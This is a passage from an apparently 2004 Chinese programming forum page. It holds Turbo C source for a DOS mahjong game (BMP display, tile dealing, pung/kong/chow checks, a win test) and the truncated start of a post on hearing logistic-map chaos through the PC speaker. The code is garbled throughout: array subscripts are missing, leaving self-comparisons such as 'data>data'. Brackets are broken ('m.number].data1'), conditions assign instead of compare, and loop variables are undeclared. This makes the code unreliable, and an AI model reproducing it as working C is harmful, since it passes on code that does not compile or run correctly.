computer.pp.d=3;
}
else if(computer.pp.number<=87 && computer.pp.number>=84)
{
lgg=4;
computer.pp.d=4;
}
else if(computer.pp.number<=91 && computer.pp.number>=88)
{
lgg=5;
computer.pp.d=5;
}
else if(computer.pp.number<=95 && computer.pp.number>=92)
{
lgg=6;
computer.pp.d=6;
}
else if(computer.pp.number<=99 && computer.pp.number>=96)
{
lgg=7;
computer.pp.d=7;
}
else if(computer.pp.number<=103 && computer.pp.number>=100)
{
lgg=8;
computer.pp.d=8;
}
else if(computer.pp.number<=107 && computer.pp.number>=104)
{
lgg=9;
computer.pp.d=9;
}
}
else if(computer.pp.number<=135 && computer.pp.number>=108)
{
lg=4;
computer.pp.d=4;
if(computer.pp.number<=111 && computer.pp.number>=108)
{
lgg=1;
computer.pp.d=1;
}
else if(computer.pp.number<=115 && computer.pp.number>=112)
{
lgg=2;
computer.pp.d=2;
}
else if(computer.pp.number<=119 && computer.pp.number>=116)
{
lgg=3;
computer.pp.d=3;
}
else if(computer.pp.number<=123 && computer.pp.number>=120)
{
lgg=4;
computer.pp.d=4;
}
else if(computer.pp.number<=127 && computer.pp.number>=124)
{
lgg=5;
computer.pp.d=5;
}
else if(computer.pp.number<=131 && computer.pp.number>=128)
{
lgg=6;
computer.pp.d=6;
}
else if(computer.pp.number<=135 && computer.pp.number>=132)
{
lgg=7;
computer.pp.d=7;
}
}

if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
if(logoo==lgg)
pg++;
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
ch.lgg=lgg;
lg=0;
lgg=0;
b++;
}
if(pg==2) /*乓*/
{

sing=1;
b=computer.m;
while(b!=-1)
{
if(strcmp(me.pp.k,computer.pp.k)==0)
computer.pp.p=1;

b--;
}
}
if(pg==3) /*杠*/
{

sing=2;
b=computer.m;
while(b!=-1)
{
if(strcmp(me.pp.k,computer.pp.k)==0)
computer.pp.g=1;
b--;
}
}
f=0;
while(f<computer.m) /*吃的判断*/
{ if(ch.lg==logo && ch.lg!=4)
{
if(ch.lgg-ch.lgg==1) /*顺吃*/
if(ch.lgg-logoo==1)
{
gp++;
computer.pp.c=1;
computer.pp.c=1;
}
if(ch.lgg-ch.lgg==-1) /*逆吃*/
if(ch.lgg-logoo==-1)
{
gp++;
computer.pp.c=1;
computer.pp.c=1;
}
if(ch.lgg-logoo==-1) /*中吃*/
if(ch.lgg-logoo==1)
{
gp++;
computer.pp.c=1;
computer.pp.c=1;
}
if(gp==1)
break;
}
f++;
}
if(gp==1)
{sing=7;

}
pg=0;
gp=0;
b=0;
}
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
if(computer.pp.number<=35 && computer.pp.number>=0)
{
logo=1;
if(computer.pp.number<=3 && computer.pp.number>=0)
logoo=1;
else if(computer.pp.number<=7 && computer.pp.number>=4)
logoo=2;
else if(computer.pp.number<=11 && computer.pp.number>=8)
logoo=3;
else if(computer.pp.number<=15 && computer.pp.number>=12)
logoo=4;
else if(computer.pp.number<=19 && computer.pp.number>=16)
logoo=5;
else if(computer.pp.number<=23 && computer.pp.number>=20)
logoo=6;
else if(computer.pp.number<=27 && computer.pp.number>=24)
logoo=7;
else if(computer.pp.number<=31 && computer.pp.number>=28)
logoo=8;
else if(computer.pp.number<=35 && computer.pp.number>=32)
logoo=9;
}
else if(computer.pp.number<=71 && computer.pp.number>=36)
{
logo=2;
if(computer.pp.number<=39 && computer.pp.number>=36)
logoo=1;
else if(computer.pp.number<=43 && computer.pp.number>=40)
logoo=2;
else if(computer.pp.number<=47 && computer.pp.number>=44)
logoo=3;
else if(computer.pp.number<=51 && computer.pp.number>=48)
logoo=4;
else if(computer.pp.number<=55 && computer.pp.number>=52)
logoo=5;
else if(computer.pp.number<=59 && computer.pp.number>=56)
logoo=6;
else if(computer.pp.number<=63 && computer.pp.number>=60)
logoo=7;
else if(computer.pp.number<=67 && computer.pp.number>=64)
logoo=8;
else if(computer.pp.number<=71 && computer.pp.number>=68)
logoo=9;
}
else if(computer.pp.number<=107 && computer.pp.number>=72)
{
logo=3;
if(computer.pp.number<=75 && computer.pp.number>=72)
logoo=1;
else if(computer.pp.number<=79 && computer.pp.number>=76)
logoo=2;
else if(computer.pp.number<=83 && computer.pp.number>=80)
logoo=3;
else if(computer.pp.number<=87 && computer.pp.number>=84)
logoo=4;
else if(computer.pp.number<=91 && computer.pp.number>=88)
logoo=5;
else if(computer.pp.number<=95 && computer.pp.number>=92)
logoo=6;
else if(computer.pp.number<=99 && computer.pp.number>=96)
logoo=7;
else if(computer.pp.number<=103 && computer.pp.number>=100)
logoo=8;
else if(computer.pp.number<=107 && computer.pp.number>=104)
logoo=9;
}
else if(computer.pp.number<=135 && computer.pp.number>=108)
{
logo=4;
if(computer.pp.number<=111 && computer.pp.number>=108)
logoo=1;
else if(computer.pp.number<=115 && computer.pp.number>=112)
logoo=2;
else if(computer.pp.number<=119 && computer.pp.number>=116)
logoo=3;
else if(computer.pp.number<=123 && computer.pp.number>=120)
logoo=4;
else if(computer.pp.number<=127 && computer.pp.number>=124)
logoo=5;
else if(computer.pp.number<=131 && computer.pp.number>=128)
logoo=6;
else if(computer.pp.number<=135 && computer.pp.number>=132)
logoo=7;
}
while(b<=me.m)
{
if(me.pp.number<=35 && me.pp.number>=0) /*我分析后出了第一张牌*/
{
lg=1;
me.pp.d=1;
if(me.pp.number<=3 && me.pp.number>=0)
{
lgg=1;
me.pp.d=1;
}
else if(me.pp.number<=7 && me.pp.number>=4)
{
lgg=2;
me.pp.d=2;
}
else if(me.pp.number<=11 && me.pp.number>=8)
{
lgg=3;
me.pp.d=3;
}
else if(me.pp.number<=15 && me.pp.number>=12)
{
lgg=4;
me.pp.d=4;
}
else if(me.pp.number<=19 && me.pp.number>=16)
{
lgg=5;
me.pp.d=5;
}
else if(me.pp.number<=23 && me.pp.number>=20)
{
lgg=6;
me.pp.d=6;
}
else if(me.pp.number<=27 && me.pp.number>=24)
{
lgg=7;
me.pp.d=7;
}
else if(me.pp.number<=31 && me.pp.number>=28)
{
lgg=8;
me.pp.d=8;
}
else if(me.pp.number<=35 && me.pp.number>=32)
{
lgg=9;
me.pp.d=9;
}
}
else if(me.pp.number<=71 && me.pp.number>=36)
{
lg=2;
me.pp.d=2;
if(me.pp.number<=39 && me.pp.number>=36)
{
lgg=1;
me.pp.d=1;
}
else if(me.pp.number<=43 && me.pp.number>=40)
{
lgg=2;
me.pp.d=2;
}
else if(me.pp.number<=47 && me.pp.number>=44)
{
lgg=3;
me.pp.d=3;
}
else if(me.pp.number<=51 && me.pp.number>=48)
{
lgg=4;
me.pp.d=4;
}
else if(me.pp.number<=55 && me.pp.number>=52)
{
lgg=5;
me.pp.d=5;
}
else if(me.pp.number<=59 && me.pp.number>=56)
{
lgg=6;
me.pp.d=6;
}
else if(me.pp.number<=63 && me.pp.number>=60)
{
lgg=7;
me.pp.d=7;
}
else if(me.pp.number<=67 && me.pp.number>=64)
{
lgg=8;
me.pp.d=8;
}
else if(me.pp.number<=71 && me.pp.number>=68)
{
lgg=9;
me.pp.d=9;
}
}
else if(me.pp.number<=107 && me.pp.number>=72)
{
lg=3;
me.pp.d=3;
if(me.pp.number<=75 && me.pp.number>=72)
{
lgg=1;
me.pp.d=1;
}
else if(me.pp.number<=79 && me.pp.number>=76)
{
lgg=2;
me.pp.d=2;
}
else if(me.pp.number<=83 && me.pp.number>=80)
{
lgg=3;
me.pp.d=3;
}
else if(me.pp.number<=87 && me.pp.number>=84)
{
lgg=4;
me.pp.d=4;
}
else if(me.pp.number<=91 && me.pp.number>=88)
{
lgg=5;
me.pp.d=5;
}
else if(me.pp.number<=95 && me.pp.number>=92)
{
lgg=6;
me.pp.d=6;
}
else if(me.pp.number<=99 && me.pp.number>=96)
{
lgg=7;
me.pp.d=7;
}
else if(me.pp.number<=103 && me.pp.number>=100)
{
lgg=8;
me.pp.d=8;
}
else if(me.pp.number<=107 && me.pp.number>=104)
{
lgg=9;
me.pp.d=9;
}
}
else if(me.pp.number<=135 && me.pp.number>=108)
{
lg=4;
me.pp.d=4;
if(me.pp.number<=111 && me.pp.number>=108)
{
lgg=1;
me.pp.d=1;
}
else if(me.pp.number<=115 && me.pp.number>=112)
{
lgg=2;
me.pp.d=2;
}
else if(me.pp.number<=119 && me.pp.number>=116)
{
lgg=3;
me.pp.d=3;
}
else if(me.pp.number<=123 && me.pp.number>=120)
{
lgg=4;
me.pp.d=4;
}
else if(me.pp.number<=127 && me.pp.number>=124)
{
lgg=5;
me.pp.d=5;
}
else if(me.pp.number<=131 && me.pp.number>=128)
{
lgg=6;
me.pp.d=6;
}
else if(me.pp.number<=135 && me.pp.number>=132)
{
lgg=7;
me.pp.d=7;
}
}
}
}
void istwo(testt)
int testt[];
{ if(testt==testt)
second++;
}
void isthree(testt,n)
int testt[],n=0;
{ int i,j,flage=0,lianx=0,same=0;
n=n/3;
for(j=0;j<n;j++)
{
for(i=j*3;i<2+j*3;i++)
{
if(testt==testt)
same++;
if(testt-testt==1)
lianx++;
}
if(same==2)
threes++;
if(lianx==2)
threes++;
same=0;
lianx=0;
}
}
void panduan() /*本程序的精髓*/
{int data;
int pw;
int pt;
int pi;
int pf;
int test;
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
for(jj=0;jj<=me.m;jj++)
{
if(me.pp.d==1)
data=me.pp.d;
if(me.pp.d==2)
data=me.pp.d+10;
if(me.pp.d==3)
data=me.pp.d+20;
if(me.pp.d==4)
data=me.pp.d+30;
}
if(logo==2)
w=logoo+10;
if(logo==3)
w=logoo+20;
if(logo==4)
w=logoo+30;
data=w;
for(mm=0;mm<=computer.m;mm++)
for(nn=mm;nn<=computer.m;nn++)
if(data>data)
{
tpp=data;
data=data;
data=tpp;
}
lp=0;
while(lp<=computer.m)
{ if(data<10)
pw=data;
if(data>10 && data<20)
pt=data;
if(data>20 && data<30)
pi=data;
if(data>30 && data<38)
pf=data;
lp++;
}
if(ww==2)
istwo(pw);
else if(ww==3)
isthree(pw,ww);
else if(ww==5)
/*pw原始牌数组，假设已经升序排列*/
/*test用来放置测试牌的数组*/
for(i=0;i<4;i++)
{
for(j=0;j<2;j++)
{test=pw;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==5)
break;
}
test=pw;
}
isthree(test);
}
}
else if(ww==6)
isthree(pw,ww);
else if(ww==8)
for(i=0;i<7;i++)
{
for(j=0;j<2;j++)
{test=pw;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==8)
break;
}
test=pw;
}
isthree(test,ww-2);
}
}
else if(ww==9)
isthree(pw,ww);
else if(ww==11)
for(i=0;i<10;i++)
{
for(j=0;j<2;j++)
{test=pw;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==11)
break;
}
test=pw;
}
isthree(test,ww-2);
}
}
else if(ww=12)
isthree(pw,ww);
else if(ww=14)
for(i=0;i<13;i++)
{
for(j=0;j<2;j++)
{test=pw;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==14)
break;
}
test=pw;
}
isthree(test,ww-2);
}
}
if(tt==2)
istwo(pt);
else if(tt==3)
isthree(pt,tt);
else if(tt==5)
/*pt原始牌数组，假设已经升序排列*/
/*test用来放置测试牌的数组*/
for(i=0;i<4;i++)
{
for(j=0;j<2;j++)
{test=pt;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==5)
break;
}
test=pt;
}
isthree(test);
}
}
else if(tt==6)
isthree(pt,tt);
else if(tt==8)
for(i=0;i<7;i++)
{
for(j=0;j<2;j++)
{test=pt;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==8)
break;
}
test=pt;
}
isthree(test,tt-2);
}
}
else if(tt==9)
isthree(pt,tt);
else if(tt==11)
for(i=0;i<10;i++)
{
for(j=0;j<2;j++)
{test=pt;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==11)
break;
}
test=pt;
}
isthree(test,tt-2);
}
}
else if(tt=12)
isthree(pt,tt);
else if(tt=14)
for(i=0;i<13;i++)
{
for(j=0;j<2;j++)
{test=pt;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==14)
break;
}
test=pt;
}
isthree(test,tt-2);
}
}
if(ii==2)
istwo(pi);
else if(ii==3)
isthree(pi,ii);
else if(ii==5)
/*pi原始牌数组，假设已经升序排列*/
/*test用来放置测试牌的数组*/
for(i=0;i<4;i++)
{
for(j=0;j<2;j++)
{test=pi;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==5)
break;
}
test=pw;
}
isthree(test);
}
}
else if(ii==6)
isthree(pi,ii);
else if(ii==8)
for(i=0;i<7;i++)
{
for(j=0;j<2;j++)
{test=pi;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==8)
break;
}
test=pi;
}
isthree(test,ii-2);
}
}
else if(ii==9)
isthree(pi,ii);
else if(ii==11)
for(i=0;i<10;i++)
{
for(j=0;j<2;j++)
{test=pi;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==11)
break;
}
test=pi;
}
isthree(test,ii-2);
}
}
else if(ii=12)
isthree(pi,ii);
else if(ii=14)
for(i=0;i<13;i++)
{
for(j=0;j<2;j++)
{test=pi;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==14)
break;
}
test=pi;
}
isthree(test,ii-2);
}
}
if(ff==2)
istwo(pf);
else if(ff==3)
isthree(pf,ff);
else if(ff==5)
/*pf原始牌数组，假设已经升序排列*/
/*test用来放置测试牌的数组*/
for(i=0;i<4;i++)
{
for(j=0;j<2;j++)
{test=pf;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==5)
break;
}
test=pf;
}
isthree(test);
}
}
else if(ff==6)
isthree(pf,ff);
else if(ff==8)
for(i=0;i<7;i++)
{
for(j=0;j<2;j++)
{test=pf;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==8)
break;
}
test=pf;
}
isthree(test,ff-2);
}
}
else if(ff==9)
isthree(pw,ww);
else if(ff==11)
for(i=0;i<10;i++)
{
for(j=0;j<2;j++)
{test=pf;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==11)
break;
}
test=pf;
}
isthree(test,ff-2);
}
}
else if(ff=12)
isthree(pf,ff);
else if(ff=14)
for(i=0;i<13;i++)
{
for(j=0;j<2;j++)
{test=pf;
}
if(istwo(test))
{ ill=0;
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==14)
break;
}
test=pf;
}
isthree(test,ff-2);
}
}
}
void main(void)
{
FILE *bmp;
static char *name={"ff.bmp","logo.bmp"};
char *p;
int *lingshi;
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
int every=0,w=0,x1,x2,y1,y2,every1=0;
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw,nn;
BYTE palette;
SETVGA;
getch();
while(t--)
{
bmp=fopen(name,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i<256;i++)
{
palette=fgetc(bmp)>>2;
palette=fgetc(bmp)>>2;
palette=fgetc(bmp)>>2;
fgetc(bmp);
Set_Palette(i,palette,palette,palette);
}
for (y=0;y<200;y++)
for(x=0;x<320;x++)
pokeb(0xa000,y*320+x,fgetc(bmp));
fclose(bmp);
getch();
}
getch();
fillRectangle(0,0,320,200,0);
getch();
randomize();
me.m=onetothirteen;
while(me.m>0) /*先循环，给自己拿牌*/
{

temp=random(136);
if(m.data2==0 && m.data1==0)
{
me.pp.k=m.name; /*把136中之一的牌放到我的手上*/
me.pp.oneorfour=m.number; /*判断同一个花色中的第几张*/
me.pp.number=temp; /*第几张，用来排序*/
m.data2=1; /*判断牌是谁的*/
kk=1;
}
if(kk==0) /*判断如果又选择了，就从新再选*/
{
me.m++;
n--;
}
me.m--;
n++;
kk=0;
}
me.m=12;
melipai(); /*理牌*/

n=13;
while(l<n)
{
z=z+20;
showbmp(l);
l++;

}
randomize();
computer.m=oneorthirteen;
n=0;
while(computer.m>0) /*循环，给对方拿牌*/
{
temp=random(136);
if(m.data2==0 && m.data1==0)
{
computer.pp.k=m.name; /*把136中之一的牌放到电脑的手上*/
computer.pp.oneorfour=m.number; /*判断同一个花色中的第几张*/
computer.pp.number=temp; /*第几张，用来排序*/
m.data2=2; /*判断牌是谁的，2为电脑*/
kk=1;
}
if(kk==0) /*判断如果又选择了，就从新再选*/
{
computer.m++;
n--;
}
computer.m--;
n++;
kk=0;
}
computer.m=12;
comlipai(); /*电脑理牌*/
n=13;
while(ll<n)
{
zy=zy+20;
showybmp(ll);
ll++;
}

z=54400;
while(key!=ESC)
{

keyy=bioskey(0);
if(keyy==LEFT)
{ w=1;
if(every==0)
{
every=1;
z=54440-5*320;

}
zz=zz+5*320;
showbmp(every);
if(every==0)
{
x1=20;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==1)
{
x1=40;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==2)
{
x1=60;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==3)
{
x1=80;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==4)
{
x1=100;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==5)
{
x1=120;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==6)
{
x1=140;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==7)
{
x1=160;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==8)
{
x1=180;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==9)
{
x1=200;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==10)
{
x1=220;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==11)
{
x1=240;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==12)
{
x1=260;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
zz=0;
every--;
z=z-20;
}
if(keyy==RIGHT)
{ if(w==0)
{
z=54440-5*320;
z=z-20;
w=1;
}
if(every==12)
{
every=11;
z=54640-5*320;
}
zz=zz+5*320;
showbmp(every);
if(every==0)
{
x1=20;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==1)
{
x1=40;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==2)
{
x1=60;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==3)
{
x1=80;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==4)
{
x1=100;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==5)
{
x1=120;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==6)
{
x1=140;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==7)
{
x1=160;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==8)
{
x1=180;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==9)
{
x1=200;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==10)
{
x1=220;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==11)
{
x1=240;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==12)
{
x1=260;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}

zz=0;
every++;
z=z+20;
}
showbmp(every);
key=keyy;
if(keyy==ENTER)
{
rgzn(every); /*********************/
if(sing==1) /*如果可以乓，做相应的处理*/
{
kkk=0;
kkkk=0;
while(kkk<=computer.m)
{
if(computer.pp.p!=1)
{
comp.pp.k=computer.pp.k;
comp.pp.oneorfour=computer.pp.oneorfour;
comp.pp.number=computer.pp.number;
kkkk++;
}
else
{
m.number].data1=1;
dwei=computer.pp.number;
computer.pp.p=0;
}
kkk++;
}
ll=0;

while(ll<3)
{ zl=zl+20;
bmpp(dwei); /*显示乓的牌*/
ll++;
}

zl=zl+9600-60;
kkk=0;
computer.m=computer.m-2;
while(kkk<=computer.m)
{
computer.pp.k=comp.pp.k;
computer.pp.oneorfour=comp.pp.oneorfour;
computer.pp.number=comp.pp.number;
kkk++;
}
ll=0;
temp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
zyy=zyy-9280;
/*****/
rgznme(temp);
panduan();
if(me.m==0)
if(second==1 && threes==0)
printf("you win!");
if(me.m==3)
if(second==1 && threes==1)
printf("you win!");
if(me.m==6)
if(second==1 && threes==2)
printf("you win!");
if(me.m==9)
if(second==1 && threes==3)
printf("you win!");
if(me.m==12)
if(second==1 && threes==4)
printf("you win!");

kkk=0;
kkkk=0;
while(kkk<=computer.m)
{
if(kkk!=temp)
{
comp.pp.k=computer.pp.k;
comp.pp.oneorfour=computer.pp.oneorfour;
comp.pp.number=computer.pp.number;
kkkk++;
}
else
m.number].data1=1;
kkk++;
}
kkk=0;
computer.m=computer.m-1;
while(kkk<=computer.m)
{
computer.pp.k=comp.pp.k;
computer.pp.oneorfour=comp.pp.oneorfour;
computer.pp.number=comp.pp.number;
kkk++;
}
fillRectangle(0,0,320,30,0);
n=computer.m;
ll=0;
zy=0;
while(ll<=n)
{
zy=zy+20;
showybmp(ll);
ll++;
}
ll=0;
getch();
sing=0;
sing1=1;
}

if(sing==2) /*如果可以杠的做相应处理*/
{
kkk=0;
kkkk=0;
while(kkk<=computer.m)
{
if(computer.pp.g!=1)
{
comp.pp.k=computer.pp.k;
comp.pp.oneorfour=computer.pp.oneorfour;
comp.pp.number=computer.pp.number;
kkkk++;
}
else
{
m.number].data1=1;
dweig=computer.pp.number;
computer.pp.g=0;
}
kkk++;
}
ll=0;

while(ll<=3)
{ zl=zl+20;
bmpp(dweig); /*显示杠的牌*/
ll++;
}
zl=zl+9600-60;
kkk=0;
computer.m=computer.m-3;
while(kkk<=computer.m)
{
computer.pp.k=comp.pp.k;
computer.pp.oneorfour=comp.pp.oneorfour;
computer.pp.number=comp.pp.number;
kkk++;
}
kk=0;
computer.m++; /*加一个牌的容量*/
while(kk!=1)
{
temp=random(136); /*出牌*/
if(m.data2==0 && m.data1==0)
{
computer.pp.k=m.name; /*把136中之一的牌放到电脑的手上*/
computer.pp.oneorfour=m.number; /*判断同一个花色中的第几张*/
computer.pp.number=temp; /*第几张，用来排序*/
m.data2=2; /*判断牌是谁的，2为电脑*/
kk=1;
}
}
comlipai();
temp=random(computer.m); /*出牌，等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
zyy=zyy-9280;
/*****/
rgznme(temp);
panduan();
if(me.m==0)
if(second==1 && threes==0)
printf("you win!");
if(me.m==3)
if(second==1 && threes==1)
printf("you win!");
if(me.m==6)
if(second==1 && threes==2)
printf("you win!");
if(me.m==9)
if(second==1 && threes==3)
printf("you win!");
if(me.m==12)
if(second==1 && threes==4)
printf("you win!");

kkk=0;
kkkk=0;
while(kkk<=computer.m) /*把未选的牌放到零时变量*/
{
if(kkk!=temp)
{
comp.pp.k=computer.pp.k;
comp.pp.oneorfour=computer.pp.oneorfour;
comp.pp.number=computer.pp.number;
kkkk++;
}
else
m.number].data1=1;
kkk++;
}
kkk=0;
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
while(kkk<=computer.m)
{
computer.pp.k=comp.pp.k;
computer.pp.oneorfour=comp.pp.oneorfour;
computer.pp.number=comp.pp.number;
kkk++;
}
fillRectangle(0,0,320,30,0);
ll=0;
zy=0;
while(ll<=computer.m)
{
zy=zy+20;
showybmp(ll);
ll++;
}
sing=0;
sing1=1;
}
if(sing==7) /*如果可以吃的，做相应处理*/
{ nn=0;
kkk=0;
kkkk=0;
while(kkk<=computer.m)
{
if(computer.pp.c!=1)
{
comp.pp.k=computer.pp.k;
comp.pp.oneorfour=computer.pp.oneorfour;
comp.pp.number=computer.pp.number;
kkkk++;
}
else
{
m.number].data1=1;
dw=computer.pp.number;
computer.pp.c=0;
}
kkk++;
}

if(me.pp.number<dw)
{
dw=dw;
dw=dw;
dw=me.pp.number;
}
if(me.pp.number>dw)
{
dw=me.pp.number;
}
if(me.pp.number>dw && me.pp.number<dw)
{
dw=dw;
dw=me.pp.number;
}
nn=0;
while(nn<3)
{ zl=zl+20;
bmpp(dw); /*显示吃的牌*/
nn++;
}
zl=zl+9600-60;
kkk=0;
computer.m=computer.m-2;
while(kkk<=computer.m)
{
computer.pp.k=comp.pp.k;
computer.pp.oneorfour=comp.pp.oneorfour;
computer.pp.number=comp.pp.number;
kkk++;
}
ll=0;
temp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
zyy=zyy-9280;
/*****/
rgznme(temp);
panduan();
if(me.m==0)
if(second==1 && threes==0)
printf("you win!");
if(me.m==3)
if(second==1 && threes==1)
printf("you win!");
if(me.m==6)
if(second==1 && threes==2)
printf("you win!");
if(me.m==9)
if(second==1 && threes==3)
printf("you win!");
if(me.m==12)
if(second==1 && threes==4)
printf("you win!");

kkk=0;
kkkk=0;
while(kkk<=computer.m)
{
if(kkk!=temp)
{
comp.pp.k=computer.pp.k;
comp.pp.oneorfour=computer.pp.oneorfour;
comp.pp.number=computer.pp.number;
kkkk++;
}
else
m.number].data1=1;
kkk++;
}
kkk=0;
computer.m=computer.m-1;
while(kkk<=computer.m)
{
computer.pp.k=comp.pp.k;
computer.pp.oneorfour=comp.pp.oneorfour;
computer.pp.number=comp.pp.number;
kkk++;
}
fillRectangle(0,0,320,30,0);
n=computer.m;
ll=0;
zy=0;
while(ll<=n)
{
zy=zy+20;
showybmp(ll);
ll++;
}

getch();
sing=0;
sing1=1;
}
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
{
kk=0;
h=me.pp.number;
m.data1=1; /*此牌已经无用*/
if(sing1!=1)
{
zyy=zyy+9280+20;
showbmpd(every);
zyy=zyy-9280;
}
while(kk!=1)
{
temp=random(136);
if(m.data2==0 && m.data1==0)
{
me.pp.k=m.name; /*把136中之一的牌放到我的手上*/
me.pp.oneorfour=m.number; /*判断同一个花色中的第几张*/
me.pp.number=temp; /*第几张，用来排序*/
m.data2=1; /*判断牌是谁的*/
kk=1;
}
if(kk==0) /*判断如果又选择了，就从新再选*/
kk=0;
}
}
sing=0;
sing1=0;
melipai();
n=13;
z1=54400;
l=0;
g=z;
while(l<n)
{ z=0;
z1=z1+20;
showbmp(l);
l++;
}
z1=0;
z=g;
}
keyy=0;
}

getch();
OUTVGA;
}
</DIV>

韩冰发表于 2004-10-4 02:38

<DIV align=center>聆听混沌的声音</DIV><DIV align=center> </DIV><DIV align=center>　　本世纪70年代初，美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型： χ=k＊χ＊(1－χ)
　　其中χ表示第n代群体的数目。当给定一个初始的χ值，然后不停地迭代，人们发现随着k值的不同，得到的序列χn 有许多有趣的现象。当k值介于0与1之间时，χ经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k，当k值大于3时，经过一定次数的迭代后χ在2个值之间交替变化，k值增加到3.449附近时，交替变化值又变为4个。继续增加k值，χ交替变化的值的个数依4→8→16→32的次序迅速加倍，终于一片混沌。但当k值在3.835附近时，经过一定次数的迭代后，χ非常简单地在3个值之间交替变化，接着又迅速依3→6→12的次序迅速增长。如此反复，在简单的方程中隐藏着令人惊奇的复杂性。χ随k的变化情况如下图所示：

　　为了体现这种复杂之中的无穷奥妙，下面这个用TC2.0编写的小程序用χ大小来控制PC喇叭的发音频率，设定不同的k值，我们就可以聆听到混沌的声音。
　　＃include <DOS.H>
　　＃include <STDIO.H>
　　main(){
　　int fMin=20,fMax=16000; /＊fMin代表最低频率，fMax代表最高频率＊/
　　int fDis,i,j; /＊fDis代表最高频率和最低频率之间的差值＊/
　　/＊i,j用于循环记数＊/
